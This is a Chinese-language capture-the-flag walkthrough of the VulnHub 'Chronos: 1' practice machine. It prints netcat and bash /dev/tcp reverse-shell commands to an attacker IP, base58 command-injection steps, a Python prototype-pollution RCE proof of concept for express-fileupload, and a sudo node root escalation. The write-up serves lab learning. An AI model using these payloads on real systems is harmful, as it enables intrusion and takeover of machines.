靶场搭建
靶场下载地址:Chronos: 1 ~ VulnHub
下载下来是虚拟机.ova压缩文件,这里提示了这是VirtualBox虚拟机,不是VMware虚拟机,我尝试用VMware虚拟机打开报错了
用VirtualBox打开虚拟机之后,上网搜索了如何让将VirtualBox的虚拟机和VMware的虚拟机置于同一网络下,没有搜索到(因为我的kali攻击机是VMvare上的机器,而且我用的是校园网,属于内网,而且需要认证,所以用不了桥接模式)
所以我就想到将VirtualBox的机器转换为VMware的机器,在VMware上打开,具体操作看我另一篇文章:如何将VirtualBox虚拟机转换到VMware中_奋斗吧!小胖子的博客-CSDN博客
打开虚拟机之后发现虚拟机无法自动获取ip,解决办法看我另一篇文章:靶机无法自己获取ip地址解决办法_奋斗吧!小胖子的博客-CSDN博客
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
开启虚拟机
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
128是kali攻击机,所以133是靶机
扫描靶机端口服务开放情况
开放了22端口,存在ssh服务为
开放了80端口,存在http服务,且中间件服务器为apache 2.4.29
开放了8000端口,存在http服务,且使用了Node.js express框架
先访问以下80端口的WEB
发现有两个资源没有加载出来
抓包看看请求了哪些资源
我们发现有一段js代码,经过了一些混淆
我们使用cyberchef工具还原这段js代码
经过还原后,我们发现请求了一段url
https://blog.csdn.net/weixin_45682839/article/details/126670210
请求了chronos.local这个域名的8000端口
刚才在扫描端口开放情况的时候,我们有扫描到这台主机的8000端口开放
所以猜测chronos.local就是本机,所以我们需要修改/etc/hosts文件,让这段url正常解析
修改后刷新页面,发现页面上多了一段文字,是时间
返回结果是时间,再回去看那段url,发现后面的参数format和日期联系起来一般是是格式化日期格式
把后面那段编码解码看看
发现是base58编码,而且确实为时间输出的格式
而且这段格式约束似乎是用+拼接到了什么语句后面
联想到系统命令date 后面拼接格式来输出时间
所以如果这是一段命令的话我们试一下是否存在命令注入
我们在burp上抓包,发送到repeater模块
构造base58的payload
果然存在命令注入
接下来利用命令注入来获得shell
查看/bin下有什么可以执行来获得shell
发现存在nc
现在kali上监听4444端口
执行nc 192.168.52.128 4444 -e /bin/bash 命令
发现出错了,而且没有连接成功,说明可能靶机上的nc不支持-e参数
利用nc串联
在kali上同时监听4444和5555两个端口
执行nc 192.168.52.128 4444 | /bin/bash | nc 192.168.52.128 5555
发现也出错了
但是连接建立成功
在/home/imera目录下发现一个user.txt应该是flag文件,但是没有权限读取
所以现在需要进行提权
内核提权
发现内核版本为4.15.0
没有找到可以提权的漏洞
sudo提权
sudo -l 查看是否有可提权的命令
发现没有回显不能通过这种方式提权
SUID提权
SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
通过命令
find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
awk
没有发现可以利用的文件
这些方法都不行,我们回到网站目录下,我们发现后端是由js来写的
并且使用了node.js express框架
并且在package.json文件中看到了版本为4.17.1
找相应框架的版本漏洞,没有找到可以利用的漏洞
于是去寻找其它办法
在/opt目录下发现了一个chronos-v2目录
进入到chronos-v2目录
发现这可能是另一个web应用,也存在前端后端
进入到后端,发现也是由node.js写的
发现也是使用了express框架,而且还使用了一个类似文件上传express-fileupload1.1.7框架
搜索响应框架版本漏洞
找到一个可以利用的漏洞,并且还可以RCE
看一下服务端代码
发现这个paeseNested被设置为TRUE,这个是漏洞利用的一个条件
并且发现这个web运行在本地127.0.0.1的8080端口
接下来利用漏洞来获得shell
找到一个python的poc
port requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.52.128/6666 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
先将这段代码在kali上保存到一个python文件中
上传到靶机上
在kali上利用python搭建一个临时网站用于传输文件
python2 -m SimpleHTTPServer 80
在靶机上利用wget下载文件(要先进入/tmp目录,不然保存不了文件)
wget http://192.168.52.128/1.py
下载文件成功之后,在kali监听6666端口
执行python文件(注意要用python3,python2会不成功)
成功获得imera用户的shell
获得到第一个shell
接下来继续提权
sudo提权
sudo -l 查看是否有可提权的命令
发现存在可以利用的命令
我们这里利用node来进行提权,node是一门和python类似的脚本语言
执行下面这段代码
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
提权成功
获得到第二个flag